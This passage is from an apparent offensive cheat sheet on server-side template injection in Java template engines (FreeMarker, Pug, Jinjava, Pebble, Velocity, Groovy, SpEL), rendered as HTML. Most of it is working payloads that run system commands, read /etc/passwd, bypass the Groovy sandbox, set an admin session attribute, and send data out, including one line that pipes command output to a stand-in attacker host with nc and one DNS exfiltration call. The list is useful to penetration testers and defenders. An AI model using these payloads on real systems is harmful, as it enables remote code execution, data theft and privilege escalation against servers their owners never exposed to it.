<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="o"><</span><span class="n">#assign</span><span class="w"> </span><span class="nx">owc</span><span class="o">=</span><span class="nx">classloader</span><span class="p">.</span><span class="nx">loadClass</span><span class="p">(</span><span class="s2">"freemarker.template.ObjectWrapper"</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="o"><</span><span class="n">#assign</span><span class="w"> </span><span class="nx">dwf</span><span class="o">=</span><span class="nx">owc</span><span class="p">.</span><span class="nx">getField</span><span class="p">(</span><span class="s2">"DEFAULT_WRAPPER"</span><span class="p">).</span><span class="nx">get</span><span class="p">(</span><span class="kc">null</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a><span class="o"><</span><span class="n">#assign</span><span class="w"> </span><span class="nx">ec</span><span class="o">=</span><span class="nx">classloader</span><span class="p">.</span><span class="nx">loadClass</span><span class="p">(</span><span class="s2">"freemarker.template.utility.Execute"</span><span class="p">)</span><span class="o">></span>
|
||
<a id="__codelineno-5-5" name="__codelineno-5-5" href="#__codelineno-5-5"></a><span class="nx">$</span><span class="p">{</span><span class="nx">dwf</span><span class="p">.</span><span class="nx">newInstance</span><span class="p">(</span><span class="nx">ec</span><span class="p">,</span><span class="kc">null</span><span class="p">)(</span><span class="s2">"id"</span><span class="p">)}</span>
|
||
</code></pre></div>
|
||
<hr />
|
||
<h2 id="codepen">Codepen</h2>
|
||
<p><a href="https://codepen.io/">Official website</a></p>
|
||
<blockquote></blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="o">-</span> <span class="n">var</span> <span class="n">x</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">process</span>
|
||
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="o">-</span> <span class="n">x</span> <span class="o">=</span> <span class="n">x</span><span class="o">.</span><span class="n">mainModule</span><span class="o">.</span><span class="n">require</span>
|
||
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="o">-</span> <span class="n">x</span> <span class="o">=</span> <span class="n">x</span><span class="p">(</span><span class="s1">'child_process'</span><span class="p">)</span>
|
||
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a><span class="o">=</span> <span class="n">x</span><span class="o">.</span><span class="n">exec</span><span class="p">(</span><span class="s1">'id | nc attacker.net 80'</span><span class="p">)</span>
|
||
</code></pre></div>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="err">#</span><span class="p">{</span><span class="nx">root</span><span class="p">.</span><span class="nx">process</span><span class="p">.</span><span class="nx">mainModule</span><span class="p">.</span><span class="nx">require</span><span class="p">(</span><span class="s1">'child_process'</span><span class="p">).</span><span class="nx">spawnSync</span><span class="p">(</span><span class="s1">'cat'</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="s1">'/etc/passwd'</span><span class="p">]).</span><span class="nx">stdout</span><span class="p">}</span>
|
||
</code></pre></div>
|
||
<hr />
|
||
<h2 id="jinjava">Jinjava</h2>
|
||
<p><a href="https://github.com/HubSpot/jinjava">Official website</a></p>
|
||
<blockquote>
|
||
<p>Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).</p>
|
||
</blockquote>
|
||
<h3 id="jinjava-basic-injection">Jinjava - Basic Injection</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="p">{{</span><span class="s1">'a'</span><span class="o">.</span><span class="n">toUpperCase</span><span class="p">()}}</span> <span class="n">would</span> <span class="n">result</span> <span class="ow">in</span> <span class="s1">'A'</span>
|
||
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="p">{{</span> <span class="n">request</span> <span class="p">}}</span> <span class="n">would</span> <span class="k">return</span> <span class="n">a</span> <span class="n">request</span> <span class="nb">object</span> <span class="n">like</span> <span class="n">com</span><span class="o">.</span><span class="p">[</span><span class="o">...</span><span class="p">]</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">TemplateContextRequest</span><span class="o">@</span><span class="mi">23548206</span>
|
||
</code></pre></div>
|
||
<p>Jinjava is an open source project developed by Hubspot, available at <a href="https://github.com/HubSpot/jinjava/">https://github.com/HubSpot/jinjava/</a></p>
|
||
<h3 id="jinjava-command-execution">Jinjava - Command Execution</h3>
|
||
<p>Fixed by <a href="https://github.com/HubSpot/jinjava/pull/230">HubSpot/jinjava PR #230</a></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="p">{{</span><span class="s1">'a'</span><span class="p">.</span><span class="n">getClass</span><span class="p">().</span><span class="n">forName</span><span class="p">(</span><span class="s1">'javax.script.ScriptEngineManager'</span><span class="p">).</span><span class="n">newInstance</span><span class="p">().</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">'JavaScript'</span><span class="p">).</span><span class="n">eval</span><span class="p">(\</span><span class="s2">"new java.lang.String('xxx')\"</span><span class="p">)}}</span>
|
||
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a>
|
||
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="p">{{</span><span class="s1">'a'</span><span class="p">.</span><span class="n">getClass</span><span class="p">().</span><span class="n">forName</span><span class="p">(</span><span class="s1">'javax.script.ScriptEngineManager'</span><span class="p">).</span><span class="n">newInstance</span><span class="p">().</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">'JavaScript'</span><span class="p">).</span><span class="n">eval</span><span class="p">(\</span><span class="s2">"var x=new java.lang.ProcessBuilder; x.command(\\\"</span><span class="n">whoami</span><span class="p">\\\</span><span class="s2">"); x.start()\"</span><span class="p">)}}</span>
|
||
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a>
|
||
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a><span class="p">{{</span><span class="s1">'a'</span><span class="p">.</span><span class="n">getClass</span><span class="p">().</span><span class="n">forName</span><span class="p">(</span><span class="s1">'javax.script.ScriptEngineManager'</span><span class="p">).</span><span class="n">newInstance</span><span class="p">().</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">'JavaScript'</span><span class="p">).</span><span class="n">eval</span><span class="p">(\</span><span class="s2">"var x=new java.lang.ProcessBuilder; x.command(\\\"</span><span class="n">netstat</span><span class="p">\\\</span><span class="s2">"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"</span><span class="p">)}}</span>
|
||
<a id="__codelineno-9-6" name="__codelineno-9-6" href="#__codelineno-9-6"></a>
|
||
<a id="__codelineno-9-7" name="__codelineno-9-7" href="#__codelineno-9-7"></a><span class="p">{{</span><span class="s1">'a'</span><span class="p">.</span><span class="n">getClass</span><span class="p">().</span><span class="n">forName</span><span class="p">(</span><span class="s1">'javax.script.ScriptEngineManager'</span><span class="p">).</span><span class="n">newInstance</span><span class="p">().</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">'JavaScript'</span><span class="p">).</span><span class="n">eval</span><span class="p">(\</span><span class="s2">"var x=new java.lang.ProcessBuilder; x.command(\\\"</span><span class="n">uname</span><span class="p">\\\</span><span class="s2">",\\\"</span><span class="n">-a</span><span class="p">\\\</span><span class="s2">"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"</span><span class="p">)}}</span>
|
||
</code></pre></div>
|
||
<hr />
|
||
<h2 id="pebble">Pebble</h2>
|
||
<p><a href="https://pebbletemplates.io/">Official website</a></p>
|
||
<blockquote>
|
||
<p>Pebble is a Java templating engine inspired by <a href="./#twig">Twig</a> and similar to the Python <a href="./#jinja2">Jinja</a> Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.</p>
|
||
</blockquote>
|
||
<h3 id="pebble-basic-injection">Pebble - Basic Injection</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="p">{{</span><span class="w"> </span><span class="n">someString</span><span class="p">.</span><span class="na">toUPPERCASE</span><span class="p">()</span><span class="w"> </span><span class="p">}}</span>
|
||
</code></pre></div>
|
||
<h3 id="pebble-code-execution">Pebble - Code Execution</h3>
|
||
<p>Old version of Pebble ( < version 3.0.9): <code>{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}</code>.</p>
|
||
<p>New version of Pebble :</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p">{</span><span class="o">%</span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">cmd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">'</span><span class="n">id</span><span class="err">'</span><span class="w"> </span><span class="o">%</span><span class="p">}</span>
|
||
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="p">{</span><span class="o">%</span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="na">TYPE</span>
|
||
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="w"> </span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="err">'</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">'</span><span class="p">)</span>
|
||
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="w"> </span><span class="p">.</span><span class="na">methods</span><span class="o">[</span><span class="mi">6</span><span class="o">]</span>
|
||
<a id="__codelineno-11-5" name="__codelineno-11-5" href="#__codelineno-11-5"></a><span class="w"> </span><span class="p">.</span><span class="na">invoke</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="kc">null</span><span class="p">)</span>
|
||
<a id="__codelineno-11-6" name="__codelineno-11-6" href="#__codelineno-11-6"></a><span class="w"> </span><span class="p">.</span><span class="na">exec</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
|
||
<a id="__codelineno-11-7" name="__codelineno-11-7" href="#__codelineno-11-7"></a><span class="w"> </span><span class="p">.</span><span class="na">inputStream</span>
|
||
<a id="__codelineno-11-8" name="__codelineno-11-8" href="#__codelineno-11-8"></a><span class="w"> </span><span class="p">.</span><span class="na">readAllBytes</span><span class="p">()</span><span class="w"> </span><span class="o">%</span><span class="p">}</span>
|
||
<a id="__codelineno-11-9" name="__codelineno-11-9" href="#__codelineno-11-9"></a><span class="p">{{</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="na">TYPE</span>
|
||
<a id="__codelineno-11-10" name="__codelineno-11-10" href="#__codelineno-11-10"></a><span class="w"> </span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="err">'</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">String</span><span class="err">'</span><span class="p">)</span>
|
||
<a id="__codelineno-11-11" name="__codelineno-11-11" href="#__codelineno-11-11"></a><span class="w"> </span><span class="p">.</span><span class="na">constructors</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span>
|
||
<a id="__codelineno-11-12" name="__codelineno-11-12" href="#__codelineno-11-12"></a><span class="w"> </span><span class="p">.</span><span class="na">newInstance</span><span class="p">((</span><span class="o">[</span><span class="n">bytes</span><span class="o">]</span><span class="p">).</span><span class="na">toArray</span><span class="p">())</span><span class="w"> </span><span class="p">}}</span>
|
||
</code></pre></div>
|
||
<hr />
|
||
<h2 id="velocity">Velocity</h2>
|
||
<p><a href="https://velocity.apache.org/engine/1.7/user-guide.html">Official website</a></p>
|
||
<blockquote>
|
||
<p>Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.</p>
|
||
</blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="c1">#set($str=$class.inspect("java.lang.String").type)</span>
|
||
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="c1">#set($chr=$class.inspect("java.lang.Character").type)</span>
|
||
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a><span class="c1">#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))</span>
|
||
<a id="__codelineno-12-4" name="__codelineno-12-4" href="#__codelineno-12-4"></a><span class="err">$</span><span class="n">ex</span><span class="o">.</span><span class="n">waitFor</span><span class="p">()</span>
|
||
<a id="__codelineno-12-5" name="__codelineno-12-5" href="#__codelineno-12-5"></a><span class="c1">#set($out=$ex.getInputStream())</span>
|
||
<a id="__codelineno-12-6" name="__codelineno-12-6" href="#__codelineno-12-6"></a><span class="c1">#foreach($i in [1..$out.available()])</span>
|
||
<a id="__codelineno-12-7" name="__codelineno-12-7" href="#__codelineno-12-7"></a><span class="err">$</span><span class="nb">str</span><span class="o">.</span><span class="n">valueOf</span><span class="p">(</span><span class="err">$</span><span class="nb">chr</span><span class="o">.</span><span class="n">toChars</span><span class="p">(</span><span class="err">$</span><span class="n">out</span><span class="o">.</span><span class="n">read</span><span class="p">()))</span>
|
||
<a id="__codelineno-12-8" name="__codelineno-12-8" href="#__codelineno-12-8"></a><span class="c1">#end</span>
|
||
</code></pre></div>
|
||
<hr />
|
||
<h2 id="groovy">Groovy</h2>
|
||
<p><a href="https://groovy-lang.org/">Official website</a></p>
|
||
<h3 id="groovy-basic-injection">Groovy - Basic injection</h3>
|
||
<p>Refer to https://groovy-lang.org/syntax.html , but <code>${9*9}</code> is the basic injection.</p>
|
||
<h3 id="groovy-read-file">Groovy - Read File</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">$</span><span class="o">{</span><span class="n">String</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="o">(</span><span class="s1">'c:/windows/notepad.exe'</span><span class="o">).</span><span class="na">text</span><span class="o">}</span>
|
||
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="n">$</span><span class="o">{</span><span class="n">String</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="o">(</span><span class="s1">'/path/to/file'</span><span class="o">).</span><span class="na">getText</span><span class="o">(</span><span class="s1">'UTF-8'</span><span class="o">)}</span>
|
||
<a id="__codelineno-13-3" name="__codelineno-13-3" href="#__codelineno-13-3"></a><span class="n">$</span><span class="o">{</span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="o">(</span><span class="s2">"C:\Temp\FileName.txt"</span><span class="o">).</span><span class="na">createNewFile</span><span class="o">();}</span>
|
||
</code></pre></div>
|
||
<h3 id="groovy-http-request">Groovy - HTTP Request</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">$</span><span class="o">{</span><span class="s2">"http://www.google.com"</span><span class="o">.</span><span class="na">toURL</span><span class="o">().</span><span class="na">text</span><span class="o">}</span>
|
||
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="n">$</span><span class="o">{</span><span class="k">new</span><span class="w"> </span><span class="n">URL</span><span class="o">(</span><span class="s2">"http://www.google.com"</span><span class="o">).</span><span class="na">getText</span><span class="o">()}</span>
|
||
</code></pre></div>
|
||
<h3 id="groovy-command-execution">Groovy - Command Execution</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="n">$</span><span class="o">{</span><span class="s2">"calc.exe"</span><span class="o">.</span><span class="na">exec</span><span class="o">()}</span>
|
||
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="n">$</span><span class="o">{</span><span class="s2">"calc.exe"</span><span class="o">.</span><span class="na">execute</span><span class="o">()}</span>
|
||
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a><span class="n">$</span><span class="o">{</span><span class="k">this</span><span class="o">.</span><span class="na">evaluate</span><span class="o">(</span><span class="s2">"9*9"</span><span class="o">)</span><span class="w"> </span><span class="c1">//(this is a Script class)}</span>
|
||
<a id="__codelineno-15-4" name="__codelineno-15-4" href="#__codelineno-15-4"></a><span class="n">$</span><span class="o">{</span><span class="k">new</span><span class="w"> </span><span class="n">org</span><span class="o">.</span><span class="na">codehaus</span><span class="o">.</span><span class="na">groovy</span><span class="o">.</span><span class="na">runtime</span><span class="o">.</span><span class="na">MethodClosure</span><span class="o">(</span><span class="s2">"calc.exe"</span><span class="o">,</span><span class="s2">"execute"</span><span class="o">).</span><span class="na">call</span><span class="o">()}</span>
|
||
</code></pre></div>
|
||
<h3 id="groovy-sandbox-bypass">Groovy - Sandbox Bypass</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="n">$</span><span class="o">{</span><span class="w"> </span><span class="nd">@ASTTest</span><span class="o">(</span><span class="n">value</span><span class="o">={</span><span class="k">assert</span><span class="w"> </span><span class="n">java</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="s2">"whoami"</span><span class="o">)})</span>
|
||
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="kt">def</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">}</span>
|
||
</code></pre></div>
|
||
<p>or</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="n">$</span><span class="o">{</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">groovy</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">GroovyClassLoader</span><span class="o">().</span><span class="na">parseClass</span><span class="o">(</span><span class="s2">"@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x"</span><span class="o">)</span><span class="w"> </span><span class="o">}</span>
|
||
</code></pre></div>
|
||
<hr />
|
||
<h2 id="spring-expression-language">Spring Expression Language</h2>
|
||
<p><a href="https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html">Official website</a></p>
|
||
<blockquote>
|
||
<p>The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.</p>
|
||
</blockquote>
|
||
<h3 id="spel-basic-injection">SpEL - Basic Injection</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="n">$</span><span class="p">{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}</span>
|
||
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="n">$</span><span class="p">{</span><span class="err">'</span><span class="n">patt</span><span class="err">'</span><span class="p">.</span><span class="na">toString</span><span class="p">().</span><span class="na">replace</span><span class="p">(</span><span class="sc">'a'</span><span class="p">,</span><span class="w"> </span><span class="sc">'x'</span><span class="p">)}</span>
|
||
</code></pre></div>
|
||
<h3 id="spel-dns-exfiltration">SpEL - DNS Exfiltration</h3>
|
||
<p>DNS lookup</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="n">$</span><span class="p">{</span><span class="s">""</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">"java.net.InetAddress"</span><span class="p">).</span><span class="na">getMethod</span><span class="p">(</span><span class="s">"getByName"</span><span class="p">,</span><span class="s">""</span><span class="p">.</span><span class="na">getClass</span><span class="p">()).</span><span class="na">invoke</span><span class="p">(</span><span class="s">""</span><span class="p">,</span><span class="s">"xxxxxxxxxxxxxx.burpcollaborator.net"</span><span class="p">)}</span>
|
||
</code></pre></div>
|
||
<h3 id="spel-session-attributes">SpEL - Session Attributes</h3>
|
||
<p>Modify session attributes</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="n">$</span><span class="p">{</span><span class="n">pageContext</span><span class="p">.</span><span class="na">request</span><span class="p">.</span><span class="na">getSession</span><span class="p">().</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">"admin"</span><span class="p">,</span><span class="kc">true</span><span class="p">)}</span>
|
||
</code></pre></div>
|
||
<h3 id="spel-command-execution">SpEL - Command Execution</h3>
|
||
<ul>
|
||
<li>
|
||
<p>Method using <code>java.lang.Runtime</code> #1 - accessed with JavaClass
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="s">"COMMAND_HERE"</span><span class="p">)}</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
<li>
|
||
<p>Method using <code>java.lang.Runtime</code> #2
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="err">#</span><span class="p">{</span><span class="n">session</span><span class="p">.</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">"rtc"</span><span class="p">,</span><span class="s">""</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">"java.lang.Runtime"</span><span class="p">).</span><span class="na">getDeclaredConstructors</span><span class="p">()</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span><span class="p">)}</span>
|
||
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="err">#</span><span class="p">{</span><span class="n">session</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">"rtc"</span><span class="p">).</span><span class="na">setAccessible</span><span class="p">(</span><span class="kc">true</span><span class="p">)}</span>
|
||
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a><span class="err">#</span><span class="p">{</span><span class="n">session</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">"rtc"</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="s">"/bin/bash -c whoami"</span><span class="p">)}</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
<li>
|
||
<p>Method using <code>java.lang.Runtime</code> #3 - accessed with <code>invoke</code>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="n">$</span><span class="p">{</span><span class="err">''</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="err">'</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">'</span><span class="p">).</span><span class="na">getMethods</span><span class="p">()</span><span class="o">[</span><span class="mi">6</span><span class="o">]</span><span class="p">.</span><span class="na">invoke</span><span class="p">(</span><span class="err">''</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="err">'</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">'</span><span class="p">)).</span><span class="na">exec</span><span class="p">(</span><span class="err">'</span><span class="n">COMMAND_HERE</span><span class="err">'</span><span class="p">)}</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
<li>
|
||
<p>Method using <code>java.lang.Runtime</code> #3 - accessed with <code>javax.script.ScriptEngineManager</code>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">"javax.script.ScriptEngineManager"</span><span class="p">).</span><span class="na">newInstance</span><span class="p">().</span><span class="na">getEngineByName</span><span class="p">(</span><span class="s">"js"</span><span class="p">).</span><span class="na">eval</span><span class="p">(</span><span class="s">"java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"</span><span class="p">))}</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
<li>
|
||
<p>Method using <code>java.lang.ProcessBuilder</code>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">"c"</span><span class="p">,</span><span class="s">""</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">"java.util.ArrayList"</span><span class="p">).</span><span class="na">newInstance</span><span class="p">())}</span>
|
||
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">"c"</span><span class="p">).</span><span class="na">add</span><span class="p">(</span><span class="s">"cmd.exe"</span><span class="p">)}</span>
|
||
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">"c"</span><span class="p">).</span><span class="na">add</span><span class="p">(</span><span class="s">"/k"</span><span class="p">)}</span>
|
||
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">"c"</span><span class="p">).</span><span class="na">add</span><span class="p">(</span><span class="s">"ping x.x.x.x"</span><span class="p">)}</span>
|
||
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">"a"</span><span class="p">,</span><span class="s">""</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">"java.lang.ProcessBuilder"</span><span class="p">).</span><span class="na">getDeclaredConstructors</span><span class="p">()</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span><span class="p">.</span><span class="na">newInstance</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">"c"</span><span class="p">)).</span><span class="na">start</span><span class="p">())}</span>
|
||
<a id="__codelineno-25-6" name="__codelineno-25-6" href="#__codelineno-25-6"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">"a"</span><span class="p">)}</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
</ul>
|
||
<h2 id="references">References</h2>
|
||
<ul>
|
||
<li><a href="https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/">Server Side Template Injection – on the example of Pebble - Michał Bentkowski - September 17, 2019</a></li>
|
||
<li><a href="https://gist.github.com/Yas3r/7006ec36ffb987cbfb98">Server-Side Template Injection: RCE For The Modern Web App - James Kettle (@albinowax) - December 10, 2015</a></li>
|
||
<li><a href="https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf">Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015</a></li>
|
||
<li><a href="https://www.youtube.com/watch?v=3cT0uE7Y87s">Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015</a></li>
|
||
<li><a href="https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/">VelocityServlet Expression Language injection - MagicBlue - November 15, 2017</a></li>
|
||
<li><a href="https://securitylab.github.com/research/bean-validation-RCE">Bean Stalking: Growing Java beans into RCE - Alvaro Munoz - July 7, 2020</a></li>
|
||
<li><a href="https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/">Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Peter M (@pmnh_) - December 4, 2022</a></li>
|
||
<li><a href="https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection">Expression Language Injection - OWASP - December 4, 2019</a></li>
|
||
<li><a href="https://portswigger.net/kb/issues/00100f20_expression-language-injection">Expression Language injection - PortSwigger - January 27, 2019</a></li>
|
||
